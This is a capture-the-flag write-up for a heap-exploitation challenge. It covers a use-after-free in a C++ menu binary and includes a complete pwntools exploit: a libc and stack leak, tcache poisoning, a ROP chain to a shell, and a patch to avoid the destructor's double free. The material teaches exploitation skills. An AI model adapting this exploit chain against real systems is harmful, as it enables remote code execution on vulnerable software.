---
# System prepended metadata

title: HKUST Firebird CTF 2026 Writeup (in progress)

---

# HKUST Firebird CTF 2026 Writeup (in progress)
(thoughts to be added)
## Challenges:
- [pwndle-revenge](#Challenge-1-pwndle_revenge)
- [sisyphus]() (to be added)
- [toddlerfmt]() (to be added)

## Challenge 1: pwndle_revenge
### Category: pwn
### Author: curiocunngios
### Description:

> chat it's over
> - [challenge](https://roasted-files.firebird.sh/28/challenge)
> - [docker](https://roasted-files.firebird.sh/28/Dockerfile)
> ```sh
> nc roasted-chal.firebird.sh 36028
> ```

### Inspecting challenge files
We are given the challenge binary and the dockerfile, running the binary shows a simple menu we can interact with.

```
Welcome to sentle! This is like wordle but "sentences" of random letters and length!
Example: akjshsdfiluhasodiufjhaslkdjfhlkassjdhfakjsjjdhfkjahsdfkjhasdlfkjashdfljkhoiwuerh
Guess it and I will give you the flag!


------------------------------------------------
Pick an option(1/2/3/4/5)
1: Make a new guess
2: Rewrite your old guess
3: make a copy of your old guess
4: See your old guess
5: Delete your old guess
6: quit
>>
```
This is a typical set up for a `heap exploitation` challenge, where the different menu options allow us to perform different heap operations. For example, option 1 may perform a `malloc`, option 5 may perform a `free`, so on and so forth.

Decompiling the binary shows that it is actually written in C++ instead of C, which I have pretty much no experience in both writing it and pwning binaries written in it (also the decompiled code looks awful). Though the challenge heap should still behaves very closely to a C binary due to it using `new` and `delete`, which is basically the same as `malloc` and `free`.

From the first glance option 3 is a weird option to include for a guessing game, as if you get it right or wrong, you wouldn't answer the same thing again anyway, so it is most likely where the vulnerability lies in.

Let's try to `make a copy` of a guess then `delete` it, and `see` what happens.

```
------------------------------------------------
Pick an option(1/2/3/4/5)
1: Make a new guess
2: Rewrite your old guess
3: make a copy of your old guess
4: See your old guess
5: Delete your old guess
6: quit
>> 1
do it: abcd
not correct, try again

------------------------------------------------
Pick an option(1/2/3/4/5)
1: Make a new guess
2: Rewrite your old guess
3: make a copy of your old guess
4: See your old guess
5: Delete your old guess
6: quit
>> 3
which:
Index 0: abcd

>> 0

------------------------------------------------
Pick an option(1/2/3/4/5)
1: Make a new guess
2: Rewrite your old guess
3: make a copy of your old guess
4: See your old guess
5: Delete your old guess
6: quit
>> 5
which:
Index 0: abcd
Index 1: abcd

>> 0

------------------------------------------------
Pick an option(1/2/3/4/5)
1: Make a new guess
2: Rewrite your old guess
3: make a copy of your old guess
4: See your old guess
5: Delete your old guess
6: quit
>> 4
Index 0: ,�&�
```
This suggests an use-after-free vulnerability, and using option 2 we can also write to the freed chunk to do heap metadata poisoning.

```
Pick an option(1/2/3/4/5)
1: Make a new guess
2: Rewrite your old guess
3: make a copy of your old guess
4: See your old guess
5: Delete your old guess
6: quit
>> 2
which:
Index 0: ,�&�

>> 0
what's the new sentence:abcd
not correct, try again

------------------------------------------------
Pick an option(1/2/3/4/5)
1: Make a new guess
2: Rewrite your old guess
3: make a copy of your old guess
4: See your old guess
5: Delete your old guess
6: quit
>> 4
Index 0: abcd
```

### Exploitation
With such a powerful primitive like this, there are many ways to exploit this binary, what I did is the typical `leak libc from unsorted bin` -> `leak stack from libc` -> `write rop chain to stack` -> `shell`.

#### helper code to interact with the challenge
```py
def guess(guess):
    p.sendlineafter(b">> ", "1")
    p.sendlineafter("do it: ", guess)

def rewrite(index, guess):
    p.sendlineafter(b">> ", "2")
    p.sendlineafter(b">> ", str(index))
    p.sendlineafter(b"what's the new sentence:", guess)

def copy(index):
    p.sendlineafter(b">> ", "3")
    p.sendlineafter(b">> ", str(index))

def see():
    p.sendlineafter(b">> ", "4")
    output = p.recvuntil("------------------------------------------------").splitlines()[:-1]
    guesses = [i.split(b": ")[1] for i in output if i]
    return guesses

def delete(index):
    p.sendlineafter(b">> ", "5")
    p.sendlineafter(b">> ", str(index))

def quit_chal():
    p.sendlineafter(b">> ", "6")
```

#### leaking libc
```py
main_arena_remote = 0x203b20
main_arena_local = 0x21ace0
main_arena = main_arena_remote if args.REMOTE else main_arena_local

for i in range(8):
    guess("A" * 0x100)

copy(0) # UAF
for i in range(7, -1, -1):
    delete(i)

# read the chunk in unsorted bin
libc_leak = int.from_bytes(see()[0], "little")
libc.address = libc_leak - main_arena
info(f"libc base: {libc.address:#x}")
```

#### leaking stack from __libc_argv

Both `environ` and `__libc_argv` gives an address that points to the stack, however the pointer from `environ` seems to have an inconsistent offset from the main saved rip when I tested it, and the one at `__libc_argv` is at a constant offset, so I opted for it instead.

An issue I encountered during this is that if I obtained a heap chunk pointing to `__libc_argv` directly with option 1, my guess will also be copied into the chunk, overwriting what was already there and we failed to leak anything. Luckily, the program stores the guesses as a raw `char *` instead of `std::string`, so we can allocate a bit before the desired address and use option 2 to do a buffer overread (only option 1 added the extra null byte but not option 2).

```py
guess("A" * 0x30)
guess("A" * 0x30)
guess("A" * 0x30)
copy(2)
delete(3)
delete(2)
delete(1)

mangled = int.from_bytes(see()[1], "little")
demangled = reverse_safe_linking(mangled)
tcache_key = demangled >> 12
info(f"tcache next: {demangled:#x}")
info(f"tcache key: {tcache_key:#x}")

libc_argv = libc.sym.__libc_argv if args.REMOTE else libc.address + 0x21ba20
rewrite(1, p64((libc_argv - 0x30) ^ tcache_key))
guess("A" * 0x30)
guess("A" * 0x30)
# this chunk is at __libc_argv - 0x30
guess("A" * 0x29)
# cover the null byte
rewrite(4, "A" * 0x30) 

stack_leak = int.from_bytes(see()[-1].strip(b"A"), "little")
saved_rip = stack_leak - 0x120
info(f"saved rip at: {saved_rip:#x}")
```

#### executing rop chain 
After writing rop chain to the stack, we cannot just immediately quit to trigger the chain, since the destructor `Game::~Game()` is called after the while loop exits, it will attempt to double free our freed chunks and cause a crash.

Checking the destructor's code we can see that it is calling `SentenceList::~SentenceList()`, which handles the freeing of chunks.

```c 
int64_t Game::~Game()
{
   void* fsbase;
   int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
   SentenceList::~SentenceList();

   if (rax == *(uint64_t*)((char*)fsbase + 0x28))
        return rax - *(uint64_t*)((char*)fsbase + 0x28);

    __stack_chk_fail();
    /* no return */
}

int64_t SentenceList::~SentenceList()
{
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    void* entry_rdi;

    for (int32_t i = 0; i < *(uint32_t*)((char*)entry_rdi + 4); i += 1)
    {
        int64_t rbx_1 =
            *(uint64_t*)(*(uint64_t*)((char*)entry_rdi + 8) + ((int64_t)i << 3));

        if (rbx_1)
        {
            Sentence::~Sentence();
            operator delete(rbx_1);
        }
    }

  if (*(uint64_t*)((char*)entry_rdi + 8))
      operator delete[](*(uint64_t*)((char*)entry_rdi + 8));

  if (rax == *(uint64_t*)((char*)fsbase + 0x28))
       return rax - *(uint64_t*)((char*)fsbase + 0x28);

    __stack_chk_fail();
   /* no return */
}
```

Part of `SentenceList`'s structure should be like this:
- Offset 0x0: int max_sentence_count
- Offset 0x4: int sentence_count
- Offset 0x8: pointer to the sentences

To avoid the double freeing in destructor, we could do another tcache poisoning to obtain a chunk near the `SentenceList` object, then overwrite its first 16 bytes to zero so that it thinks there are 0 sentence and skips the freeing, allowing us to safely return from main and trigger our chain to get shell.

```py
game_obj = saved_rip - 0x38
info(f"game obj at: {game_obj:#x}")
# need 4 chunks because of operator new(8) in 
# Sentence::Sentence, which uses the same
# tcache chunk size we are trying to poison
guess("A" * 8)
guess("A" * 8) 
guess("A" * 8)
guess("A" * 8)
copy(11)
delete(12)
delete(11)
delete(10)
delete(9)

rewrite(9, p64((game_obj - 0x10) ^ tcache_key))
guess("A" * 17)
guess("A" * 17)
guess("A" * 17)
# overwrite SentenceList
rewrite(12, b"\x00" * 16 + p32(0x10) + p32(0) + p64(0))
```

#### final exploit

```py
from pwn import *

e = ELF("./pwndle", False)
context.encoding = "l1"
context.binary = e
if args.REMOTE and Path("./libc.so.6").exists():
    libc = ELF("./libc.so.6", False)
else:
    libc = e.libc

if args.REMOTE:
    p = remote("roasted-chal.firebird.sh", 36028, ssl=False)
else:
    p = e.process()

# helper functions and constants starts here
def reverse_safe_linking(ptr: int, page_offset: int = 0):
    first_nibbles = (ptr >> 36) & 0xfff
    second_nibbles = first_nibbles ^ ((ptr >> 24) & 0xfff)
    third_nibbles = second_nibbles ^ ((ptr >> 12) & 0xfff)
    last_nibbles = (third_nibbles + page_offset) ^ (ptr & 0xfff)
    return (first_nibbles << 36) | (second_nibbles << 24) | (third_nibbles << 12) | last_nibbles

def guess(guess):
    p.sendlineafter(b">> ", "1")
    p.sendlineafter("do it: ", guess)

def rewrite(index, guess):
    p.sendlineafter(b">> ", "2")
    p.sendlineafter(b">> ", str(index))
    p.sendlineafter(b"what's the new sentence:", guess)

def copy(index):
    p.sendlineafter(b">> ", "3")
    p.sendlineafter(b">> ", str(index))

def see():
    p.sendlineafter(b">> ", "4")
    output = p.recvuntil("------------------------------------------------").splitlines()[:-1]
    guesses = [i.split(b": ")[1] for i in output if i]
    return guesses

def delete(index):
    p.sendlineafter(b">> ", "5")
    p.sendlineafter(b">> ", str(index))

def quit_chal():
    p.sendlineafter(b">> ", "6")

main_arena_remote = 0x203b20
main_arena_local = 0x21ace0
main_arena = main_arena_remote if args.REMOTE else main_arena_local

# exploit starts here
for i in range(8):
    guess("A" * 0x100)

copy(0) # UAF
for i in range(7, -1, -1):
    delete(i)

libc_leak = int.from_bytes(see()[0], "little")
libc.address = libc_leak - main_arena
info(f"libc base: {libc.address:#x}")

guess("A" * 0x30)
guess("A" * 0x30)
guess("A" * 0x30)
copy(2)
delete(3)
delete(2)
delete(1)

mangled = int.from_bytes(see()[1], "little")
demangled = reverse_safe_linking(mangled)
tcache_key = demangled >> 12
info(f"tcache next: {demangled:#x}")
info(f"tcache key: {tcache_key:#x}")

libc_argv = libc.sym.__libc_argv if args.REMOTE else libc.address + 0x21ba20
rewrite(1, p64((libc_argv - 0x30) ^ tcache_key))
guess("A" * 0x30)
guess("A" * 0x30)
guess("A" * 0x29)
rewrite(4, "A" * 0x30)

stack_leak = int.from_bytes(see()[-1].strip(b"A"), "little")
saved_rip = stack_leak - 0x120 if args.REMOTE else stack_leak - 0x110
info(f"saved rip at: {saved_rip:#x}")

guess("A" * 0x80)
guess("A" * 0x80)
guess("A" * 0x80)
copy(6)
delete(7)
delete(6)
delete(5)

mangled = int.from_bytes(see()[5], "little")
demangled = reverse_safe_linking(mangled)
tcache_key = demangled >> 12
rewrite(5, p64((saved_rip - 0x8) ^ (tcache_key)))

rop = ROP(libc, badchars=b"\n")
pop_rdi = rop.rdi.address
ret = rop.ret.address
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym.system
chain = (
    p64(0)
    + p64(ret)
    + p64(pop_rdi)
    + p64(binsh)
    + p64(system)
)

guess("A" * 0x80)
guess("A" * 0x80)
guess("A" * 0x80)
rewrite(8, chain)

game_obj = saved_rip - 0x38
info(f"game obj at: {game_obj:#x}")
guess("A" * 8)
guess("A" * 8)
guess("A" * 8)
guess("A" * 8)
copy(11)
delete(12)
delete(11)
delete(10)
delete(9)

rewrite(9, p64((game_obj - 0x10) ^ tcache_key))
guess("A" * 17)
guess("A" * 17)
guess("A" * 17)
rewrite(12, b"\x00" * 16 + p32(0x10) + p32(0) + p64(0))
quit_chal()
success("Got a shell!")
p.interactive()

```
And we finally get the flag: `firebird{no_win_no_got_but_u_still_won_king}` :tada: 